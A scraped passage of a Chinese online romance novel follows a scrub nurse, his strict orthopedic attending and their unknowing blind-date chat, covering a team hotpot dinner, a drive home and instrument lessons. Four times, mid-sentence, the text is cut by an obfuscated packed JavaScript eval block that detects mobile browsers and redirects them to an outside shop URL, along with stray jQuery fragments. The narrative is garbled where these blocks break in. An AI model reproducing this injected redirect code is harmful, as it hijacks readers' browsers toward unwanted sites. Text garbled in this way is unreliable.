不要叫我小名:当然如果很忙就不用回啦
秦禾笙收到消息的时候正在写科研项目的材料,说不上忙,但也不想回这种消息。
简单来说他不想跟相亲对象聊些什么,没兴趣发展下去。
他原本想回“有工作”三个字,但不知怎么就想起晚上在第二手术室看到俞钰的事情。
差不多的年纪,的确会在刚工作的时候有很多迷茫。
俞钰好像情绪不高,不知道是不是做错事情被批评了。
他难得共情一次,思索片刻后告诉对方:骂人只是情绪的发泄,并不能解决问题
此号不看病:我通常不骂人,只会指出问题
不要叫我小名:也就是说,手术中骂人的医生其实只是在发泄自己的情绪,并不能获得正面反馈?
此号不看病:骂人的话,通常负面反馈大于正面
此号不看病:因为骂人很影响同台工作的医护心情,情绪紧张之下更容易出小差错,可能会酿成大问题
不要叫我小名:那骂人是主刀的错?
此号不看病:如果一位主刀在手术中骂人,的确是他自己情绪管理有问题
此号不看病:如果主刀骂得很过分,可以向上级领导反映
俞钰惊讶地看着手机屏幕上的回复。
这位仁兄比他想得会聊天很多,会站在一个客观理性的角度跟他分析问题,好像没有那么糟糕,最起码比他之前几个相亲对象都会说话。
性格似乎没那么不堪。
这样的人是怎么单身到现在的?
算了不管,对方现在当个免费的陪聊也很好。
听对方说这么几句,他心里竟然舒服很多。
果然是今天的主治有病,三十八岁大龄主治一直升不上去副高,可能在主治的位置上憋久了心里有点扭曲吧。
俞钰阴暗地想着。
看到比自己小六岁的秦禾笙都升了副高,三十八岁大龄主治也许嫉妒得眼睛都红了,又没地方撒气。
他们医院的规定也是非升即走,四十岁之前不聘副高,也许就要下放到一些郊区医院。
而每年聘副高的名额就只有那些,对方估计是真着急。
这么一想俞钰心里慢慢舒坦,气顺了,不再纠结今晚的事情。
不要叫我小名:其实缓一缓觉得就还好,不用找领导反映
医生可能不太懂器械护士的处境,但实际情况就是主刀骂器械护士太常见了,反应也没什么用,主任护士最多安慰两句。
他们科室岗位紧俏多的是人想进来,辞职了主任也能立马招一个,不在乎器械护士的辞职。
而且这边的待遇其实很好,辞职的话很难找到待遇这么好的,所以大部分人都选择忍着。
不要叫我小名:我就当同情大龄主治的职业生涯焦虑
此号不看病:多大的主治?
俞钰直接四舍五入一下,回:四十了<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996182|193883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
秦禾笙显然也知道非升即走那一套,四十还不升副高就要离开核心团队,给新来的住院医让位置了。
虽然不会被开,但下放到非三甲医院工作,也会让人有非常大的心理落差。
此号不看病:是会有职业焦虑,但这是他自己需要处理的问题
俞钰不想再聊这个没什么职业前途的主治,开始有几分好奇自己的相亲对象。
不要叫我小名:不说他啦,你现在还在加班吗?
此号不看病:是
俞钰看着很简短的“是”字,觉得好像又要冷场。
对方应该也没那么想跟他聊。
他试探问:要加班做手术吗,还是查房?
此号不看病:写材料
写完材料再查一次房,之后下班。
秦禾笙在心里这样想着,但没有告诉屏幕那头的人。
他不想发展什么自然不会多说,刚才的开导也只是一时的恻隐之心。
好像说的有点多,因为对方开始探求他的事情。
如果对方表现出别的意思,他一定会果断拒绝。
他不想谈恋爱,甚至不是喜欢男生还是女生的问题,就是单纯地不想谈,觉得还有那么多工作要做哪里有时间谈恋爱。
之前说喜欢男生,纯粹是为了让他爸死心别介绍了,但没想到他爸连喜欢男生这种事情都能接受,他也只好吃这个哑巴亏,加个号应付两句,冷处理。
俞钰看到屏幕那头越来越简短的话,跟之前的长篇大论形成鲜明对比,知道“此号不看病”是不想聊下去,就没有再说,只发了个“不打扰”的表情。
**
次日早上睡起来,俞钰等电梯的时候查看消息,发现他亲哥在晚上十二点终于给他回消息。
我姓崔:怎么,谁骂你了?
俞钰无言,这还真是他亲哥。
他上面那条消息明明白白写着“我今天被主刀骂得好惨”,结果他哥还问谁骂他。
俞钰走进电梯,无力打字:昨天的主刀
他跟他哥之间发消息,总像是隔着时差和信息差。
等他哥弄明白事情的经过来安慰他,或者陪他一起骂人出气,可以等到天荒地老。
他哥需要接受并且理解所有信息需要的时长,已经比最长的手术时长还要长了。
俞钰:现在已经没事
俞钰:我就当同情即将失业的大龄主治,扶贫了
俞钰:哥你安心做手术
等他到医院,要换上手术服时,他哥崔钰终于回了条消息:乖,改天哥去骨科看你,顺便帮你骂骂那个主刀
我姓崔:谁还不是个关系户,谁还没人撑腰了
我姓崔:等我骂完他以后,他下次要是还无理由骂你,你就骂回去,有事我兜着
俞钰:不用了,哥我能自己处理好
他昨晚给崔钰发消息真的是因为一时郁闷,但现在早过了郁闷的劲,觉得这也不是什么大事,没必要劳师动众,还把他哥找来撑腰。
我姓崔:乖,这周末回家吗?
我姓崔:妈跟我说你上周末就没回,有点担心你工作是不是不太顺利
俞钰想了下,觉得这周末差不多是要回去,住在同一个城市里,还是要常回家看看爸妈。
俞钰:回去
唔,对于三甲医院的一线护士来说,两周回去一次已经很频繁了。
9. 聚餐
周二是秦禾笙的手术日。
周一晚上俞钰恶补了很久的器械名称,周二上午做手术的时候没有再出那种想不起器械名字的错误,只偶尔会反应慢半拍,需要思考一下。
好不容易熬到中午,他大松一口气,开始扒拉手术餐,吃完手术餐后在手术室里休息了一会,起来喝杯咖啡,又去旁边的准备间整理器械。
现在还没到下午开始做手术的时间,手术室里的其他人基本都在闭目养神,俞钰尽量把动作放轻些,不过金属器械的轻微敲击声,还是让距离准备间很近的秦禾笙睁开眼睛。
他稍稍转头,看向跟手术室相连的准备室,俞钰正独自站在准备间整理器械。
俞钰一个人整理,表情和动作都很认真专注,黑白分明的大眼睛看着准备室的器械,明亮又富有神采,时不时歪头思考下,带着年轻人特有的朝气跟活泼。
其实上周在咖啡厅里听到俞钰说的那些话,秦禾笙最初的确是抱有偏见看待,他不希望一起合作手术的人喜欢在手术中摸鱼。
做手术是一件非常严肃的事情,关乎病人的生命安全,他可以接受经验不足紧张等等问题,不能接受态度不端正。
所以他一开始特意留意过俞钰在手术中的一举一动,交代手术里要专注认真。
不过两场手术下来,他就知道俞钰说的摸鱼应该只是嘴上说说。
他跟很多人合作过手术,一个人在手术中的态度是不是认真,很快就能看出来。
出乎意料的是,俞钰是一位在手术中态度很认真的器械护士,甚至比大多数人都认真。
他重新转头看向手术室时,身边的一助程简已经在打着哈欠喝咖啡。
他低声交代对方:“今天的手术结束后,请所有人去吃火锅。”
听到副高请客吃晚饭,程简乐开花,“好的秦医生,我下午手术的时候会通知大家。”
下午三点多,手术室医护格外疲倦时,程简宣布秦禾笙晚上请客吃饭的好消息,顿时让大家又有干劲。
今天的手术日毫无意外又加班,晚上八点多终于集体下班,大家一起去医院旁边的火锅店。
叶竹跟俞钰走在一起,悄悄聊八卦:“卷王这是良心发现,还是觉得压榨我们太久,棍-棒打太多次要给个甜枣?”
俞钰哭笑不得:“你这是什么形容?”
“纯属被压榨久了,不敢相信他居然愿意请我吃饭。”叶竹仿佛被无良资本家压榨的苦命工人,“这是真实发生的吗?”
“要不然你问问程医生是怎么回事?”
叶竹还真的去问了。
秦禾笙的一助和二助都是骨科的住院医,叶竹问:“程医生,秦医生从前会不会请大家吃晚饭?”
程简点头,很肯定地回答:“从前也会请呀,通常是两周一次,都是他买单也不会让大家跟着一起AA,非常大气。”
叶竹愣了下,有点不敢相信:“秦医生居然这么好吗?”
程简好笑地反问:“是什么让你觉得秦医生不好?”
叶竹可不敢当着很多人的面说秦禾笙的坏话,立刻澄清道:“我没有觉得他不好,就是秦医生平时要求……咳咳,比较严格。大概相当于他是学霸,我是学渣的程度。”
因为学霸经常会发出感慨,为什么这么简单的知识你不明白?
学霸也永远无法共情学渣的困难,永远不会理解这些题不会做的痛苦。
同理,卷王也不懂一个人为什么喜欢偷懒。
“秦医生只是在工作上要求严格。”程简笑道:“工作以外的事情都很好说话,比如说聚餐每次都是他出钱,不会像很多人一样跟你AA。”
“而且很多时候他也没大家想的那么严格,比如说今天,我们来聚餐他一个人去查房,查完房再过来,当然也有可能忙,不过来了。”
叶竹愣了下,居然是副高自己查房,让手下人来吃饭吗?
忽然觉得这种卷王还不错怎么办,永远先卷自己,查房的时候也身先士卒。
“年轻人。”程简拍了拍叶竹的肩膀,语重心长道:“秦医生已经算是非常好打交道的领导,以后你就知道了。”
叶竹:“……哦。”
这种居然是好打交道的领导吗?
牛马真难。
俞钰听了一圈旁边的对话,低声跟叶竹说:“我觉得还是不过来最好。”
领导嘛,钱到心意到就行,人不用到。
聚个餐还有领导,多不自在。
叶竹深有同感地点头:“我也这么觉得,最好别来。”
事情似乎在向俞钰期待的方向发展。
因为落座后程简看了眼消息,告诉大家:“秦医生说查房出了点事情暂时过不来,让我们先吃。”
叶竹低声问身边的程简:“是不是可能不来了?”
程简笑,显然知道叶竹是什么意思。
“大概率是不来了,因为处理好事情都不知道几点,按照秦医生的性格应该是去医院食堂随便吃点,或者干脆不吃,下班了再自己去吃夜宵。“
坐在叶竹旁边的俞钰也听到这句话,格外开心。
这是什么神仙领导,出钱让下属在外面吃香喝辣,他自己留在病房加班。
聚餐没有领导,才是真正的聚餐。
俞钰愿意为这次火锅放下从前对秦禾笙的偏见,承认他没那么龟毛。
点的菜很快就上来,大家一边煮食材一边聊天。
医护聚餐聊的大多都是病人的事情,白天的工作,聊完这些之后会聊一些八卦。
八卦很快就聊到两个新人身上——
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996183|193883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
俞钰和叶竹。
八卦不外乎几点,刚来觉得科室怎么样,有对象了吗,有的话带来我们见见,没有的话给你介绍一个。
体制内的领导总是逃脱不了爱做媒的习惯,尤其是年纪稍微大点的领导。
因为体制内的人工作稳定待遇不错,是可以给自家孩子或者亲戚孩子牵红线的人选。
他们这一群人里,巡回护士傅湘萍的年龄最大,率先问叶竹:“小叶明年这个时候就毕业了吧,年纪不小,在学校里有没有女朋友呀?”
叶竹老老实实摇头:“没有,爸妈说现在先好好做规培,毕业了再给我介绍。”
这就把傅湘萍想说的话堵回去。
她又转头问俞钰:“那小俞有没有对象?”
俞钰老老实实回答:“爸妈给介绍了一个,让我先接触。”
一连两次的碰壁让傅湘萍有点失落,侧头叹气刚想说什么时,忽然看到他们这桌旁边站了个人。
“秦医生,你来了?”傅湘萍连忙喊服务生:“再帮我们拿一把椅子,一套餐具。”
俞钰惊了下,不是说秦禾笙不来吗,怎么饭快吃完的时候人到了。
他下意识转头,不看不知道,一看好家伙。
秦禾笙就站在他身后。
俞钰无言,这是第二次了吧,他跟别人聊天时没发现秦禾笙就在旁边,被对方听到全部。
虽然两次都算不上是偷听,因为聊天并不算私密,但被秦禾笙听到两次也让他很不爽,莫名有种秦禾笙喜欢偷听他跟别人讲话的错觉。
他决定收回刚才秦禾笙是神仙领导的想法。
服务生很快就把椅子和餐具拿来,看到秦禾笙站在俞钰身边,就直接把椅子搬过去。
傅湘萍在餐桌对面交代:“小俞,椅子往旁边挪点,给秦医生让个位置。”
俞钰:“……”
很不想让。
这个树桩子一样的人怎么不去别的地方坐着,非要坐在他这边。
可惜领导到底是领导,俞钰虽然内心极度抗拒,但还是乖乖让座。
“谢谢。”
秦禾笙落座后道谢,音色沉冷。
秦禾笙过来这件事显然是临时决定,程简也不知道,他看到秦禾笙过来后还愣了下,问:“秦医生你来了?我再给你点些菜吧。”
“不用。”秦禾笙拿出手机说:“我自己点就好。”
秦禾笙安静地扫码点菜,俞钰浑身上下都不太自然。
虽然秦禾笙只是安静地扫码点菜,但他还是像上学时候坐在教授旁边一样,动作都变僵硬起来。
领导坐在旁边的感觉好别扭。
生怕哪里做得不对,也生怕领导要找自己聊天。
秦禾笙怎么不换个地方坐。
有亿点点讨厌哦。
10. 同归
秦禾笙一坐下,叶竹都肉眼可见地安静下来很少跟俞钰说话,只低头吃东西。
俞钰身边好像有一个光源和热源,存在感极强,很多人时不时悄悄看一眼,却没有说什么。
秦禾笙到后,餐桌上的气氛变得沉寂,大家不敢乱说什么,只听到傅湘萍和程简时不时聊几句。
秦禾笙点完菜后抬头,面色如常地跟餐桌上的众人说:“继续聊,不用在意我。”
“刚才说到哪了?”
傅湘萍接话:“刚才在说小俞,他家里好像给介绍了个对象。”
俞钰:“……”
不是,怎么又说到他头上了。
可恶的秦禾笙,干嘛问刚刚说到哪,这家伙是不是故意的。
他抬头干笑着说:“是,家里给介绍了,目前正在接触。”
傅湘萍饶有兴致地问:“接触的怎么样呀?”
俞钰实在是不想回答这种相亲有关的具体问题,更不想被当场继续介绍对象,干脆胡诌:“接触的还可以,正在考虑进一步发展。”
回答时,他感觉全桌的人好像都看着他,就连身边的秦禾笙也在看他。
俞钰从来不喜欢当宇宙中心,开始不择手段地祸水东引:“傅姐别说我了,说说……嗯,说说程医生吧,要不要给他介绍一个?”
程简立刻说:“已婚人士,勿cue。”
俞钰愣住:“啊?”
程简好像刚工作不到一年吧,这就结婚了?
傅湘萍笑出来:“程医生还没毕业就英年早婚,对象是他师妹。”
俞钰默然,传说中优秀的医学生在上学阶段就会被订走,诚不欺人。
之后傅湘萍又加上一句:“这一桌子里除了你和叶竹,就只剩下秦医生还单身。”
众人的目光不由落在此时坐的很近的三个人身上。
傅湘萍在医院工作的时间跟秦禾笙差不多,更敢说话些,索性直接跟秦禾笙八卦。
“秦医生,听主任说最近好像有人给你介绍个对象,现在怎么样了?”
“不会怎么样。”秦禾笙毫不犹豫地回答:“没兴趣,不打算继续。”
傅湘萍听到这个结果一点也不意外,叹气道:“也不知道什么样的人能拿下秦医生。”
此时秦禾笙点的菜上来,一同端上来的还有对方点的饭后果盘,程简招呼大家吃饭后果盘,话题就没有继续下去。
三十来分钟后,聚餐准备散场。
傅湘萍开始担心下属的回家问题。
“小俞,你怎么回去?”
俞钰正想说可以跟叶竹一起回去,他们住的距离不远时,就发现叶竹不知道什么时候躲得很远,生怕跟秦禾笙多接触。
俞钰:……这个毫无友情的家伙。
他只能老实回答:“坐地铁吧。”
今天他车限号,早上就是坐地铁来的。
“太晚了,你这么好看的男孩自己坐地铁再走回家是不是不安全?”
俞钰有某种不妙的预感,连忙说:“不会,我没什么事可以自己回去。”
但傅湘萍好像没有听到他的话,依旧在思考:“我记得你家好像是住在东北三环那边……”
“在我家附近。”俞钰身后忽然传来一个声音,“我送他。”
傅湘萍顿时笑了:“那就麻烦秦医生。”
俞钰面无表情地转头,看到秦禾笙拿着车钥匙站在他身后。
事情怎么会变成这样的?
俞钰想破头皮都想不明白,怎么就变成领导送他回家。
坐领导的车回家这真的合适?
等秦禾笙结完账,桌子旁边已经只剩下俞钰一个人。
俞钰看到秦禾笙走过来,立刻说:“秦副高,我自己回去就行。”
“叫我秦医生,不用叫副高。”
“……哦。”俞钰又重复一遍刚才的话:“我自己回去就行不用麻烦你送,应该不顺路。”
秦禾笙没说好不好,只问:“你家住哪?”
俞钰报出小区名:“澜岸嘉苑,东北三环那边。”
“很近。”秦禾笙说:“我住旁边的长颐公馆。”
俞钰:“……”
“…………”
是真的很近,两个小区步行不到十分钟,这下连拒绝的理由都没有。
他像是霜打的白菜一样,蔫蔫地跟在秦禾笙身边,一起走去医院停车场。
去的路上,秦禾笙忽然说:“如果住的不近,上周也不会在咖啡厅碰到。”
俞钰差点变成苦瓜脸,为什么他会跟领导住这么近,这样还怎么离秦禾笙远一些,以后会不会经常要一起回家。
忽然觉得爸妈给买的房子没那么香了。
秦禾笙果然记得咖啡厅的事情,看模样应该记得全部,也记得他说了什么。
无论如何,背后说摸鱼说领导的事情都是他不对。
他主动承认:“秦医生,我跟学姐就是一时口嗨,你别放在心上。”
但秦禾笙却像是不记得那天的事情,反问道:“你有说什么不该说的么?”
……那可太多了。
什么没办法上班摸鱼,以及胃口不好不能搞领导,想想真让人头大。
胃口不好的事情坚决不能提,他选择性说:“不该说上班摸鱼的事情。”
“没有真的摸就行。”秦禾笙停下脚步,拉开副驾的门说:“上车吧。”
俞钰站在医院的地面停车场深呼吸。
医院的夜晚空灵又安静,满天繁星闪烁,景色静谧又优雅,像是一幅徐徐展开的水墨画卷,墨色浓郁,零星点缀着浅灰色的景物。
一切都很美好,只除了他要上秦禾笙的车。
早知道这样,他今天就算交罚款也要把车开来医院。
跟领导一起回家,是一件让人窒息的事情。
俞钰用视死如归的表情坐了进去,坐进去后他才想到好像刚刚没注意让秦禾笙帮他开门,毫无眼力。
所以他果然是那种领导夹菜他转桌的人吗。
秦禾笙绕过车头坐到驾驶座的位置,开启中控台,点开导航输入目的地。
虽然路程都记得,但他还是习惯打开导航听路况,及时躲避拥堵或者车祸。
车子发动时,他看了眼副驾驶的位置,俞钰背脊挺得笔直,嘴唇抿着,肉眼可见十分紧张。
好像,很怕他。
车行驶在俞钰熟悉的路上,跟以往不同的是这次他坐在副驾驶,内心无比希望车开得快些,再快些,他好早点到家摆脱秦禾笙的压力。
就在他心情紧绷,内心祈祷的时候,忽然
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996184|193883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
听到秦禾笙问:“上次说的书看了么?”
俞钰内心“咯噔”一下,来了来了,虽迟但到,跟领导一起走时必不可少的聊工作。
还是个额外工作。
考虑了下他那点烂水平,不可能瞒得过已经拿手术刀好几年的秦禾笙,就直接承认:“没看。”
秦禾笙语气很平静,听不出生气的口吻:“为什么没看?”
俞钰:“……”
他为什么没看,秦禾笙会不懂?
是卷王没办法理解咸鱼吗,所以果然卷王和咸鱼之间有壁,无法理解彼此的想法,三观存在巨大差异。
“太深奥了,看不懂。”俞钰说了个半真半假的理由,“我只是器械护士,不是骨科医生。”
他说到这里也有点不服气:“而且就算是骨科医生,也没有都看完吧。”
凭什么让他看。
他今天特意问过程简的,程简也没看完,只翻看了一部分。
而且就算他能看懂也懒得看,那九本板砖看完头发都要掉光。
想到这里,他情不自禁地瞄了眼秦禾笙。
外表倒是看不出什么秃头前兆,而且头顶发丝浓密,发量多得让人羡慕。
说不定是植发,或者自己没看完但张嘴要别人看,宽以律己严以待人,这种医生不是没有。
俞钰不服气地想。
他不信看完那九本板砖,能够不掉头发。
秦禾笙:“我看完了。”
俞钰:“……”
“…………”
OK,算他输。
这个卷劲,真的跟他哥有一拼。
他哥在神外方面,也啃完了差不多数量的板砖。
头发嘛尚可,最起码不比他少。
他莫名觉得崔钰应该跟秦禾笙很有共同语言。
车不知何时停下车,秦禾笙侧头看着俞钰。
俞钰这才发现车已经开到小区门口,他飞快打开车门下车。
“谢谢秦医生送我回来,再见。”
他转身想关车门时,坐在车里的秦禾笙忽然看着他问:“工作上有没有遇到困难的事情?”
俞钰:“……”
真是谢谢关心啊。
卷王真的没意识到他本人就是目前工作中最大的困难吗。
“没有。”俞钰皮笑肉不笑地说:“最近工作挺好的。”
就是希望领导离他远一点。
关上车门走回小区时,他大松一口气。
总算是远离秦禾笙了。
俞钰开心到在路上蹦蹦跳跳好几下,一边哼歌一边走。
直到他身后传来秦禾笙的声音。
“你的包忘在车上了。”
俞钰停下脚步,像是戏台上的木偶一样,动作僵硬地一点点转过去。
他哭丧着脸跟秦禾笙说:“对不起秦医生,我刚才下车忘记拿。”
秦禾笙语气淡淡,听不出喜怒:“是走得急忘了拿么?”
俞钰但凡有点情商,就不可能承认从领导车上走得急。
但承认他丢三落四好像也不合适,毕竟没人喜欢会丢三落四的下属,特别还是一个正在实习期,可以无痛开除的下属。
最终他只好尴尬地说:“夜色太好,我……”
我编不下去了。
11. 教学
气氛变得沉默又尴尬。
俞钰是一个很不会做向上管理的人,不会拍领导马屁不会说好话,连狡辩也不太会。
他只能哭丧着脸试图撑过这阵煎熬,或者让秦禾笙先开口说话。
但初入职场的菜鸟俞钰还是太嫩,不知道把主动说话权交出的后果。
秦禾笙看着站在他对面的男生,黑白分明的大眼睛里写满紧张,牙齿将下嘴唇咬得微微泛白。
看上去紧张到可怜,只可惜他没有同情的心理,相反难得起了点逗弄的心思。
他半是戏谑地问:“下车后这么开心,这么不想坐我的车?”
俞钰硬着头皮回答:“也没有,但能回家总是很开心。”
可恶,卷王怎么还不回医院加班,在这里跟他聊天做什么。
卷王难道不应该每分每秒都要卷吗,花时间闲聊干嘛。
万幸这场闲聊很快就结束,秦禾笙把包递给他,他迅速说了句“秦医生再见”后就走进小区,不想也不敢看秦禾笙在他走后是什么表情和动作。
到家后,他就给叶竹发了好几个[菜刀]的表情。
俞钰:你居然把我一个人扔下!
叶竹:我病历没写完不敢多留,不敢跟卷王说话
俞钰:还有没有点从小一起长大的友谊了?
叶竹:这个……可以没有的
病历面前,什么都能牺牲。
俞钰:……
俞钰:用户已将你拉黑
叶竹:别别别,我周末请你吃饭
俞钰:用不着了,我周末回家
俞钰:一脸冷漠.jpg
他切出跟叶竹的对话框,回想今天晚上的事情,真的好想找个人吐槽。
他刚跟叶竹绝交三分钟,暂时不考虑对方。
至于他哥?
怕是又隔着时差。
父母就更不行,肯定是灌一堆心灵鸡汤让他好好干。
思来想去,他决定把第四位相亲对象从列表里拖出来,看看能不能当个免费的陪聊。
如果对方肯陪他聊天,他也可以给对方提供情绪价值。
不要叫我小名:哈喽,忙不忙呀
不要叫我小名:刚跟领导一起回来
不要叫我小名:你说领导都那么恶劣吗,喜欢开下属的玩笑
秦禾笙看到消息时刚到家,准备洗澡。
他点击对话框输入:抱歉,在忙
他不想相亲,更无意跟相亲对象培养友谊或者超出友谊界限的关系,还是及时表明态度。
也许他上次不应该开导,他的开导让对面的人产生几分可以发展的错觉。
就这样吧,冷处理几次对面应该就会放弃。
一个没见过面的相亲对象而已,秦禾笙相信放弃并不是一件难事。
他拿着睡衣走进浴室,进浴室的时候忽然想起俞钰似乎也在相亲。
不知道跟俞钰相亲的人,到底是什么样。
那边,俞钰躺在床上的时候收到这个类似拒绝的回答,心情说不上来不失落,但也可以接受。
大家素未谋面,只是加了好友的相亲对象,觉得聊的不好,觉得太幼稚不适合自己,或者单纯就是不喜欢他这一款,可能就不会继续一起聊。
难得碰到个能说几句,稍微正常点的相亲对象,结果人家对他没兴趣。
俞钰叹气,在想要不要把这第四位相亲对象删掉,想想还是算了。
好歹给他当过电子宠物,陪聊一次还安慰他。
留着吧:)
**
两天后,又是那个大龄主治鲁嵘的手术日。
俞钰上台前深呼吸做好心理准备,这次就算被骂也会在心里想大龄升不上去的主治,他就当扶贫。
有些人一直憋在主治的位置上,不是没原因。
但没想到今天鲁嵘的态度意外变得很好,连他有几次没有第一时间理解手势,鲁嵘也只是出声提醒没有再出言斥责,这让俞钰倍感惊讶。
鲁嵘一反常态的好脾气显然也让巡回护士傅湘萍很震惊。
傅湘萍是N3级别的护士,比俞钰敢说话很多,就直接问鲁嵘:“鲁医生你今天的脾气好像比之前好很多,最近遇到什么事了吗?”
鲁嵘摆摆手表示:“修身养心,年龄慢慢大了不好总生气,生气长结节。”
……才怪。
其实是主任不知道从哪得知他经常在手术室发脾气的事情,得知也就罢了,还专门把他叫到办公室训一顿。
说什么让他友善处理跟同事的关系,不要在手术期间给其他医护制造焦虑。
天知道主任自己还经常在手术里骂规培牲,凭什么说他?
但领导就是领导,鲁嵘就算不服也只能憋着,表示今后做手术会努力克制脾气,做好情绪管理。
他可不敢跟主任呛声对着干,因为他聘不聘副高基本都看主任的意思,而且就算聘不上副高,将来去哪个下级医院干活也是主任说了算的。
主任可以说是拿捏住他的饭碗,说话他不能不听。
**
中午,吕主任跟秦禾笙一起吃饭时说了鲁嵘的事情。
“我昨天已经找鲁嵘谈过话。”吕主任告诉秦禾笙,“今天听小傅说他态度好了很多。”
秦禾笙:“谢谢主任。”
“你怎么会忽然管鲁嵘的事情?”吕主任没有让这件事轻飘飘过去,打量地看着秦禾笙:“怎么,谁告状告到你那边去,还能说动你出头?”
“没人找我告状。”秦禾笙如实回答,“我自己本来也不喜欢鲁嵘那种人,会给同台医护太多压力,第二天他们配合我做手术的时候也会格外紧张,怕被我骂,影响工作效率。”
至于有没有其他的私心,秦禾笙当然不会跟吕主任说。
这个解释从道理上倒是说得过去,可姜还是老的辣,吕主任依旧怀疑。
之前几年也是这么过的,没见秦禾笙提过意见,因为秦禾笙不是一个爱管其他人闲事的人。
怎么现在忽然开始管?
有猫腻。
吕主任摸摸下巴,决定耐心点,静待花开。
**
周五又是秦禾笙的手术日,俞钰继续跟他搭台。
入职两周的俞钰已经不是从前那个刚入职的愣头青,他变成俞·钮钴禄·钰,对各种器械熟悉很多,哪怕一时间不理解主刀想要什么,他也可以通过对方说的器械名字递过去,工作开始得心应手。
但秦禾笙本人的要求好像也在变高。
怎么说,卷王的确先卷自己,但也会被动卷别人。
就比如说秦禾笙每天很晚下班,他带的住院医、规培牲等等,不太能比他本人走得早,不然万一在领导眼里留下一个工作不认
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996185|193883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
真态度不端正的印象,写评价的时候给你两笔怎么办。
所以他身边的住院医和规培牲都要被动卷。
同理也可推至器械护士身上。
因为秦禾笙不仅要求他认得每样器械,还让他清楚每样器械在什么时候用。
今天中午吃饭前的一台手术,俞钰有几次没有理解他的意思,做完手术等助手拿手术餐的时候,秦禾笙就站在他身边,给他讲解每样器械的用途,怎么跟手术视野联系起来。
俞钰不想学。
讲道理每天的工作已经几乎堵满了他的大脑,午休时间他只想放松,脑子不想转。
但秦禾笙站在他身边教他,他又不能说“我不学”,只好稍稍鼓着嘴安静听。
秦禾笙低头耐心地讲每样器械的用途,身为主刀四年的骨科医生,他对每样器械了如指掌。
而俞钰虽然都在课本上学过,但书本上的知识联系到实际操作中需要时间和经验的积累,而且不常用到的知识也会慢慢忘记。
因此他对很多器械的具体用途不太清楚,需要查询,但手术中显然没有时间让他查询。
算了,学就学吧没坏处。
抱着这样的想法,俞钰苦着脸听。
“……骨膜剥离子的核心作用是保护骨膜的完整性……”
秦禾笙拿起刚才用过的骨膜剥离子给俞钰讲。
这样生动形象的现场教学,比坐在教室里看老师讲课件要有效很多,他慢慢听进去。
秦禾笙一边讲一边不着痕迹地打量俞钰的表情。
他带过那么多规培牲,当然能很快看出一个人想不想学,态度认不认真。
俞钰一开始并不想学,鼓着嘴眉头微微蹙着,显得不情不愿。但他很快就听了进去,表情变得专注认真,虽然嘴巴依旧是鼓着的,却不再皱眉。
俞钰鼓着嘴巴的时候脸会变得比平时圆,原本俊秀的脸多了几分可爱。
秦禾笙垂在身侧的另一只手无意识地动了动,手指好像是想戳什么。
二助和叶竹很快就把手术餐拿过来分发给众人,俞钰的简短教学到此结束,他松一口气。
虽然的确能学到点知识,但他还是想吐槽秦禾笙。
大好午休时间,让他大脑放空点不好嘛,为什么要拉着他一起卷。
俞钰有点郁闷地坐在角落跟叶竹一起吃饭。
他一边吃一边问本应该离开的叶竹:“你怎么还在这里做三助?”
“有个事情。”叶竹的脸皱成苦瓜,叹气道:“主任正式把我打发给秦医生了。”
俞钰想到刚才的教学折磨,满脸同情地看着叶竹。
他悄悄靠近叶竹,小声问道:“在主任手下好过,还是在卷王手下好过?”
叶竹也同样压低声音,两个人的头挨在一起,像极了小时候说悄悄话的样子。
“不一样的感觉,主任做手术的时候也容易脾气急,说话不太好听会让人emo,但是写病历和写手术记录要求没那么严格。”
“卷王手术里不骂人,就指出错误不会让人抑郁,但要求太严格,让我怀疑还没毕业就要英年早秃,写材料写秃的。”
俞钰刚想说什么,忽然觉得有人看自己。
他一抬头,恰好跟秦禾笙的视线对上。
他心里“咯噔”一下,不会是背后讨论领导,恰好被领导本人听到了吧。
12.糟粕
要不要那么倒霉,他不会又一次口嗨被听到吧。
不过幸好对视不过片刻秦禾笙就移开目光,面色如常,好像什么都没听到。
俞钰挠挠头,刚才有人看自己也许是错觉吧。
